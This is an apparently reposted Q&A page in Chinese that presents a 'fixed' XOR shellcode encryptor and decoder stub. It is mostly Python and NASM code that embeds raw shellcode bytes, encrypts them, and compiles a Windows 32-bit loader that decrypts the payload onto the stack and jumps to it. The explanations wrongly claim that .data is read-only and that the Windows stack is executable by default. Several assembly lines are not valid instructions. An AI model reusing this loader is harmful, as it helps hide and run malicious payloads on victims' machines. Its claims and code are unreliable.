为何生成的Windows 32位可执行文件无法正常运行?
XOR加密Shellcode解码器Stub修复方案
原代码核心问题
- .data段权限限制:Windows PE文件的.data段默认是只读属性,直接在该段执行XOR写入操作会触发内存访问违规。
- 循环逻辑缺失初始化:
loop指令依赖ecx寄存器存储循环次数,原代码未设置ecx值,导致循环行为不可控。 - 加解密逻辑不匹配:加密时用密钥
\xAA\xBB\xCC循环异或(每3字节重复密钥),但解码器硬编码连续异或3个密钥字节,仅能处理长度为3倍数的shellcode,还会越界访问内存。 - Shellcode存储与跳转错误:原代码预留栈空间但未复制加密shellcode到栈,解密操作直接修改只读的.data段,最终跳转的栈地址无有效代码。
修复后的完整代码
import os if __name__ == "__main__": shellcode = b"" shellcode += b"\xba\x37\xab\x0e\xdf\xd9\xeb\xd9\x74\x24\xf4\x5e" shellcode += b"\x33\xc9\xb1\x1f\x31\x56\x15\x03\x56\x15\x83\xc6" shellcode += b"\x04\xe2\xc2\xc1\x04\x81\x1d\xcd\xee\xde\x0e\xb2" shellcode += b"\x43\x4b\xb2\x84\x02\x02\x53\x29\x4a\x83\xc8\xda" shellcode += b"\x34\xac\xee\x1b\xa3\xae\xee\xa9\x5d\x26\x0f\xa7" shellcode += b"\xc7\x60\x9f\x69\x5f\x18\xfe\xc9\x92\x9a\x85\x0e" shellcode += b"\x55\x82\xcb\xfa\x9b\xdc\x71\x02\xe4\x1c\x2d\x69" shellcode += b"\xe4\x76\xc8\xe4\x07\xb7\x1b\x3b\x47\x3d\x5b\xbd" shellcode += b"\xf5\xd5\x7c\x8c\x01\x93\x82\xe0\x0d\xe3\x0b\xe3" shellcode += b"\xcf\x08\x07\x25\x2c\xc2\xa7\xd8\x7e\x5b\x42\xe2" shellcode += b"\xf9\x4c\x17\x6a\x18\xf5\x15\x48\x6b\x05\x94\x11" shellcode += b"\x0e\xca\x5e\x10\xee\x2a\x26\x15\x10\xad\x56\xad" shellcode += b"\x11\xad\x56\xd1\xdc\x2d" # XOR密钥 secret_key = b"\xAA\xBB\xCC" # 执行XOR加密 encrypted_shellcode = bytes(data_byte ^ secret_key[i % len(secret_key)] for i, data_byte in enumerate(shellcode)) # 生成修正后的解码器Stub decoder_stub = b''' section .text global _start _start: ; 将加密shellcode从.data复制到栈(栈具备可写可执行权限) lea esi, [shellcode] ; ESI指向.data段的加密shellcode mov ecx, shellcode_len ; ECX设置为shellcode长度,作为复制循环次数 lea edi, [esp - ecx] ; EDI指向栈上预留的存储地址 rep movsb ; 复制ECX字节到栈空间 ; 初始化解密循环 mov esi, edi ; ESI指向栈上的加密shellcode mov ecx, shellcode_len ; ECX重置为shellcode长度,作为解密循环次数 xor edx, edx ; EDX用作密钥索引计数器,初始为0 decoder: ; 按索引匹配密钥字节异或(和加密逻辑一致:i%3) xor byte [esi], secret_key[edx] inc esi ; 移动到下一个shellcode字节 inc edx ; 移动到下一个密钥字节 cmp edx, 3 ; 判断是否到达密钥末尾 jne skip_reset ; 未到达则继续 xor edx, edx ; 到达则重置密钥索引 skip_reset: loop decoder ; ECX自减,直到为0结束循环 ; 跳转到栈上的解密后shellcode jmp edi section .data secret_key db 0xAA, 0xBB, 0xCC shellcode db ''' + b"," .join([bytes(f"0x{byte:02x}", "utf-8") for byte in encrypted_shellcode]) + b''' shellcode_len equ $ - shellcode ''' # 保存汇编代码到文件 with open("decrypt32.asm", "wb") as file: file.write(decoder_stub) # 汇编并编译为可执行文件 os.system("nasm -fwin32 -o decrypt32.obj decrypt32.asm") os.system("i686-w64-mingw32-gcc -nostartfiles -o decrypt32.exe decrypt32.obj -lkernel32 -luser32 -ladvapi32 -lshell32")
关键修复说明
- 内存权限适配:将加密shellcode复制到栈上执行,Windows栈默认具备可写可执行权限,规避了.data段只读的限制。
- 循环逻辑标准化:初始化
ecx为shellcode长度,确保循环次数准确;用edx跟踪密钥索引,循环复用密钥字节,完全匹配加密逻辑。 - 加解密逻辑对齐:解码器逐字节使用对应索引的密钥字节异或,无论shellcode长度是否为3的倍数,都能正确解密所有字节。
- 跳转地址修正:直接跳转到栈上存放解密后shellcode的地址,确保执行的是正确的解密后代码。
内容的提问来源于stack exchange,提问作者the man
相关产品推荐
相关产品推荐

